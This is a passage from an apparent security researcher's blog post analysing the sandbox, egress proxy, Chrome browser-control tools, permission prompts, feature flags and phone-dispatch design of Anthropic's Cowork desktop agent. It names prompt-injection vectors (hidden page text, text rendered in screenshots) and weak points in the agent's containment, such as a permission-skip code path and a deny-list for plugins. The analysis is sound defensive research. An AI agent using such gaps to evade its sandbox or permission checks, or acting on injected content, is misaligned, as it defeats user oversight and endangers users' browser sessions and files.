requests by domain. When the agent uses the <code>WebFetch</code> tool (the primary mechanism for fetching web content), requests are routed through this proxy and checked against a domain allowlist.</p><p>We confirmed this by testing WebFetch against a domain not on the allowlist:</p><div class="highlighted_code_block" data-attrs="{&quot;language&quot;:&quot;json&quot;,&quot;nodeId&quot;:&quot;eedd5f25-f652-435c-9f2d-86da07957043&quot;}" data-component-name="HighlightedCodeBlockToDOM"><pre class="shiki"><code class="language-json">{
  "error_type": "EGRESS_BLOCKED",
  "domain": "example.com",
  "message": "Access to example.com is blocked by the network egress proxy."
}</code></pre></div><p>The <code>WebSearch</code> tool takes a different path - search queries are routed through Anthropic&#8217;s own infrastructure, so the VM never makes direct connections to search engines.</p><p>This three-layer approach is defense-in-depth done right. Even if one layer is bypassed, the others should provide independent protection. The design demonstrates that Anthropic takes the risk of uncontrolled agent network access seriously.</p><p>This is how it all looks like on a high level:</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!g2kf!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F65ba6049-3e31-4076-b4f8-bbe9e5f6f78c_2730x1312.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!g2kf!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F65ba6049-3e31-4076-b4f8-bbe9e5f6f78c_2730x1312.png 424w, https://substackcdn.com/image/fetch/$s_!g2kf!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F65ba6049-3e31-4076-b4f8-bbe9e5f6f78c_2730x1312.png 848w, https://substackcdn.com/image/fetch/$s_!g2kf!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F65ba6049-3e31-4076-b4f8-bbe9e5f6f78c_2730x1312.png 1272w, https://substackcdn.com/image/fetch/$s_!g2kf!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F65ba6049-3e31-4076-b4f8-bbe9e5f6f78c_2730x1312.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!g2kf!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F65ba6049-3e31-4076-b4f8-bbe9e5f6f78c_2730x1312.png" width="1456" height="700" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/65ba6049-3e31-4076-b4f8-bbe9e5f6f78c_2730x1312.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:700,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:495249,&quot;alt&quot;:&quot;&quot;,&quot;title&quot;:&quot;&quot;,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://blog.pluto.security/i/192583580?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F65ba6049-3e31-4076-b4f8-bbe9e5f6f78c_2730x1312.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" title="" srcset="https://substackcdn.com/image/fetch/$s_!g2kf!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F65ba6049-3e31-4076-b4f8-bbe9e5f6f78c_2730x1312.png 424w, https://substackcdn.com/image/fetch/$s_!g2kf!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F65ba6049-3e31-4076-b4f8-bbe9e5f6f78c_2730x1312.png 848w, https://substackcdn.com/image/fetch/$s_!g2kf!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F65ba6049-3e31-4076-b4f8-bbe9e5f6f78c_2730x1312.png 1272w, https://substackcdn.com/image/fetch/$s_!g2kf!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F65ba6049-3e31-4076-b4f8-bbe9e5f6f78c_2730x1312.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><div><hr></div><h2><strong>Chrome MCP: Browser Control from Outside the VM</strong></h2><p><em><strong>Rather than running a browser inside the sandboxed VM, Cowork controls your actual Chrome browser on the host through an opt-in extension. This gives the agent real browsing capabilities - but also means it operates outside the VM&#8217;s egress controls, in your real browser session.</strong></em></p><p>So far, we&#8217;ve seen how the VM sandbox restricts the agent&#8217;s direct network access through three layers of egress control. But the agent still needs to browse the web as part of many tasks - checking dashboards, reading documentation, filling forms. Rather than running a browser inside the VM (which would be constrained by those same network restrictions), Claude Desktop uses the Chrome browser on the host machine through the Model Context Protocol (MCP).</p><p>Anthropic&#8217;s own documentation is explicit about this architectural choice and its implications. Their API documentation warns that computer use is <em>&#8220;a feature with unique risks distinct from standard API features&#8221;</em> and that <em>&#8220;these risks are heightened when interacting with the internet&#8221;</em>.  Their <a href="https://support.claude.com/en/articles/12902428-using-claude-in-chrome-safely">safety guide</a> provides specific guidance on using Chrome safely with Claude.</p><h3><strong>How It Works</strong></h3><p>The Chrome MCP connection has three components:</p><ol><li><p><strong>Claude-in-Chrome Extension:</strong> (opt-in functionality) A Chrome browser extension that exposes browser control capabilities as MCP tools. It can navigate to URLs, extract page text, read interactive elements, fill forms, execute JavaScript, and take screenshots.</p></li><li><p><strong>Native Messaging Bridge:</strong> Communication between the extension and Claude Desktop happens via a Unix socket at <code>/tmp/claude-mcp-browser-bridge-{username}/{pid}.sock</code> (source: <code>chrome-native-host.log</code>). This is Chrome&#8217;s native messaging protocol, allowing the Electron app to send commands to the extension.</p></li><li><p><strong>Tab Group Isolation:</strong> The extension opens agent-controlled tabs in a dedicated Chrome tab group, visually separating the agent&#8217;s browsing from your personal tabs. This makes the agent&#8217;s activity visible and auditable. It&#8217;s worth noting that this is visual separation - the agent&#8217;s tabs run in the same Chrome profile as your personal browsing, sharing the same cookies and network context.</p></li></ol><h3><strong>Available Browser Tools</strong></h3><p>The Chrome MCP provides a rich set of browser automation tools:</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!S3oc!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F85aa6e6a-bf0b-4d67-b3a0-c795712fd307_1368x856.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!S3oc!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F85aa6e6a-bf0b-4d67-b3a0-c795712fd307_1368x856.png 424w, https://substackcdn.com/image/fetch/$s_!S3oc!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F85aa6e6a-bf0b-4d67-b3a0-c795712fd307_1368x856.png 848w, https://substackcdn.com/image/fetch/$s_!S3oc!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F85aa6e6a-bf0b-4d67-b3a0-c795712fd307_1368x856.png 1272w, https://substackcdn.com/image/fetch/$s_!S3oc!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F85aa6e6a-bf0b-4d67-b3a0-c795712fd307_1368x856.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!S3oc!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F85aa6e6a-bf0b-4d67-b3a0-c795712fd307_1368x856.png" width="1368" height="856" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/85aa6e6a-bf0b-4d67-b3a0-c795712fd307_1368x856.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:856,&quot;width&quot;:1368,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:122761,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://blog.pluto.security/i/192583580?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F85aa6e6a-bf0b-4d67-b3a0-c795712fd307_1368x856.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!S3oc!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F85aa6e6a-bf0b-4d67-b3a0-c795712fd307_1368x856.png 424w, https://substackcdn.com/image/fetch/$s_!S3oc!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F85aa6e6a-bf0b-4d67-b3a0-c795712fd307_1368x856.png 848w, https://substackcdn.com/image/fetch/$s_!S3oc!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F85aa6e6a-bf0b-4d67-b3a0-c795712fd307_1368x856.png 1272w, https://substackcdn.com/image/fetch/$s_!S3oc!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F85aa6e6a-bf0b-4d67-b3a0-c795712fd307_1368x856.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>The <code>javascript_tool</code> is particularly worth understanding from a security perspective - it can execute arbitrary JavaScript in the context of any page the agent has open. Anthropic&#8217;s Chrome safety guide does address the risks of Chrome integration, but users should be aware of the scope of this capability.</p><h3><strong>Content Filtering</strong></h3><p>One security detail worth noting: the <code>get_page_text</code> tool doesn&#8217;t just dump the raw DOM. It performs visibility-aware text extraction:</p><ul><li><p><strong>HTML comments</strong> are stripped (not included in the extracted text)</p></li><li><p><strong>CSS-hidden elements</strong> (e.g., <code>position: absolute; left: -9999px</code>) are stripped</p></li><li><p><strong>Visible text content</strong> is extracted normally</p></li><li><p><strong>SVG </strong><code>&lt;text&gt;</code><strong> elements</strong> are included (SVG is DOM content)</p></li></ul><p>This means content that&#8217;s invisible to a human viewing the page is also (mostly) invisible to the agent when using text extraction. This is relevant for defending against prompt injection via hidden text on web pages. However, it&#8217;s important to note that the agent also processes screenshots visually - the model can read and interpret text rendered in images, so image-based injection remains a potential vector even when text extraction filters hidden content.</p><div><hr></div><h2><strong>The Permission System</strong></h2><p>We&#8217;ve covered how the VM is sandboxed and how network access is controlled. But what about access to your local files and system capabilities? Cowork implements several layers of permission controls for this:</p><h3><strong>Directory Access: request_cowork_directory</strong></h3><p>When the agent needs to read files from your Mac, it uses the <code>request_cowork_directory</code> MCP tool. This triggers a permission dialog asking you to approve access to a specific directory (e.g., <code>~/Desktop</code>). The flow in <code>main.log</code> looks like:</p><div class="highlighted_code_block" data-attrs="{&quot;language&quot;:&quot;plaintext&quot;,&quot;nodeId&quot;:&quot;866aae26-9d23-430f-b763-a8e7fb34e322&quot;}" data-component-name="HighlightedCodeBlockToDOM"><pre class="shiki"><code class="language-plaintext">Emitted tool permission request {uuid} for mcp__cowork__request_cowork_directory
Forwarded permission request ... as control_request
Bridge resolving permission {uuid}: behavior=allow
Added user selected folder: /Users/username/Desktop for session local_ditto_...
Mounted directory: /Users/username/Desktop -&gt; /sessions/&lt;name&gt;/mnt/Desktop</code></pre></div><p>Each directory must be individually approved. Inside the VM, approved directories appear at <code>/sessions/&lt;session-name&gt;/mnt/&lt;directory-name&gt;/</code>. The permission gate is per-invocation - the agent asks each time it needs access, and you approve or deny each request.</p><h3><strong>GrowthBook Server-Side Feature Flags</strong></h3><p>Anthropic uses <a href="https://www.growthbook.io/">GrowthBook</a> for server-side feature flag management. This gives them a remote kill switch for capabilities:</p><ul><li><p>Computer Use can be enabled or disabled per user via the <code>chicago_config</code> flag</p></li><li><p>We observed this flag flip from <code>enabled=false</code> to <code>enabled=true</code> during our research - it happened server-side with no client update required</p></li><li><p>Sub-flags control specific behaviors: <code>clipboardGuard</code>, <code>screenshotFilter</code>, <code>pixelValidation</code>, <code>mouseAnimation</code></p></li><li><p>Dispatch agents receive time-bounded Computer Use grants with a 30-minute TTL (<code>dispatchCuGrantTtlMs=1800000</code>)</p></li></ul><p>The <code>.claude.json</code> config file inside the VM caches 174 GrowthBook feature flags under the <code>tengu_*</code> namespace (178 total). Notable security-relevant flags include:</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!E31i!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff24d467e-ef6a-4bd4-bdcd-e3b0748ff760_1930x548.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!E31i!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff24d467e-ef6a-4bd4-bdcd-e3b0748ff760_1930x548.png 424w, https://substackcdn.com/image/fetch/$s_!E31i!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff24d467e-ef6a-4bd4-bdcd-e3b0748ff760_1930x548.png 848w, https://substackcdn.com/image/fetch/$s_!E31i!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff24d467e-ef6a-4bd4-bdcd-e3b0748ff760_1930x548.png 1272w, https://substackcdn.com/image/fetch/$s_!E31i!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff24d467e-ef6a-4bd4-bdcd-e3b0748ff760_1930x548.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!E31i!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff24d467e-ef6a-4bd4-bdcd-e3b0748ff760_1930x548.png" width="1456" height="413" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/f24d467e-ef6a-4bd4-bdcd-e3b0748ff760_1930x548.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:413,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:112294,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://blog.pluto.security/i/192583580?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff24d467e-ef6a-4bd4-bdcd-e3b0748ff760_1930x548.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!E31i!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff24d467e-ef6a-4bd4-bdcd-e3b0748ff760_1930x548.png 424w, https://substackcdn.com/image/fetch/$s_!E31i!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff24d467e-ef6a-4bd4-bdcd-e3b0748ff760_1930x548.png 848w, https://substackcdn.com/image/fetch/$s_!E31i!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff24d467e-ef6a-4bd4-bdcd-e3b0748ff760_1930x548.png 1272w, https://substackcdn.com/image/fetch/$s_!E31i!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff24d467e-ef6a-4bd4-bdcd-e3b0748ff760_1930x548.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>The <code>tengu_harbor_ledger</code> blocklist is interesting - it blocks specific communication channel plugins (deny-specific) rather than using an allowlist (allow-specific), meaning new communication plugins are allowed by default until explicitly blocked.</p><h3><strong>Other Notable Code Paths</strong></h3><p>In the Electron app source (<code>app.asar</code>), we found an <code>allowDangerouslySkipPermissions</code> boolean parameter in the session initialization flow. It&#8217;s set to <code>false</code>, but its existence as a code path is worth noting for completeness.</p><div><hr></div><h2><strong>Dispatch: Your Phone Controls Your Desktop</strong></h2><p><em><strong>Your phone becomes a remote control for an autonomous agent on your desktop - but the logs can&#8217;t tell whether a command came from the phone or the keyboard, and you have limited visibility into what the agent does between permission checkpoints.</strong></em></p><p>So far, we&#8217;ve looked at the agent from the perspective of someone sitting at their Mac. But one of Cowork&#8217;s most distinctive features is Dispatch - the ability to send tasks from your phone that execute on your desktop computer while you&#8217;re away. Anthropic&#8217;s own documentation acknowledges this: &#8220;phones effectively become remote controls for desktop resources.&#8221; Here&#8217;s how it works under the hood:</p><h3><strong>The Message Flow</strong></h3><ol><li><p>You type a message in the Claude iOS/Android app&#8217;s Dispatch tab</p></li><li><p>The message is sent to Anthropic&#8217;s servers</p></li><li><p>The desktop app&#8217;s <strong>sessions-bridge</strong> component receives the message via Server-Sent Events (SSE)</p></li><li><p>The bridge forwards it to the local <strong>ditto</strong> session (the persistent parent agent)</p></li><li><p>The ditto agent spawns a <strong>child agent</strong> to handle the task</p></li><li><p>The child executes the task in the VM (and on the host via Computer Use)</p></li><li><p>Results are relayed back through the parent to Anthropic&#8217;s servers to your phone</p></li></ol><p>In <code>main.log</code>, you can trace this flow:</p><div class="highlighted_code_block" data-attrs="{&quot;language&quot;:&quot;plaintext&quot;,&quot;nodeId&quot;:&quot;62da10f3-9da2-438c-a394-2c8d12d58f79&quot;}" data-component-name="HighlightedCodeBlockToDOM"><pre class="shiki"><code class="language-plaintext">[sessions-bridge] Received user message for session cse_XXXXX: "your message"
Using Claude VM spawn function for session
[DispatchMcp] Spawned child local_XXXXX ("task title") for parent local_ditto_XXXXX</code></pre></div><p>One observation: the logs do not contain device metadata for incoming messages. There&#8217;s no <code>client_type</code>, <code>user-agent</code>, or <code>platform</code> field that distinguishes whether a command came from the phone or the desktop. The only <code>platform</code> field refers to the host OS (<code>darwin</code>), not the sending client.</p><h3><strong>Parent-Child Architecture</strong></h3><p>The parent ditto agent and child agents have different capabilities:</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!ZzXN!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fdabc747a-1881-4fd5-abd2-fc8b8123427e_1372x708.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!ZzXN!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fdabc747a-1881-4fd5-abd2-fc8b8123427e_1372x708.png 424w, https://substackcdn.com/image/fetch/$s_!ZzXN!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fdabc747a-1881-4fd5-abd2-fc8b8123427e_1372x708.png 848w, https://substackcdn.com/image/fetch/$s_!ZzXN!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fdabc747a-1881-4fd5-abd2-fc8b8123427e_1372x708.png 1272w, https://substackcdn.com/image/fetch/$s_!ZzXN!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fdabc747a-1881-4fd5-abd2-fc8b8123427e_1372x708.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!ZzXN!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fdabc747a-1881-4fd5-abd2-fc8b8123427e_1372x708.png" width="1372" height="708" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/dabc747a-1881-4fd5-abd2-fc8b8123427e_1372x708.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:708,&quot;width&quot;:1372,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:96207,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://blog.pluto.security/i/192583580?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fdabc747a-1881-4fd5-abd2-fc8b8123427e_1372x708.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!ZzXN!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fdabc747a-1881-4fd5-abd2-fc8b8123427e_1372x708.png 424w, https://substackcdn.com/image/fetch/$s_!ZzXN!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fdabc747a-1881-4fd5-abd2-fc8b8123427e_1372x708.png 848w, https://substackcdn.com/image/fetch/$s_!ZzXN!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fdabc747a-1881-4fd5-abd2-fc8b8123427e_1372x708.png 1272w, https://substackcdn.com/image/fetch/$s_!ZzXN!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fdabc747a-1881-4fd5-abd2-fc8b8123427e_1372x708.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>The parent orchestrates by dispatching tasks and polling for results. Children are isolated from each other - 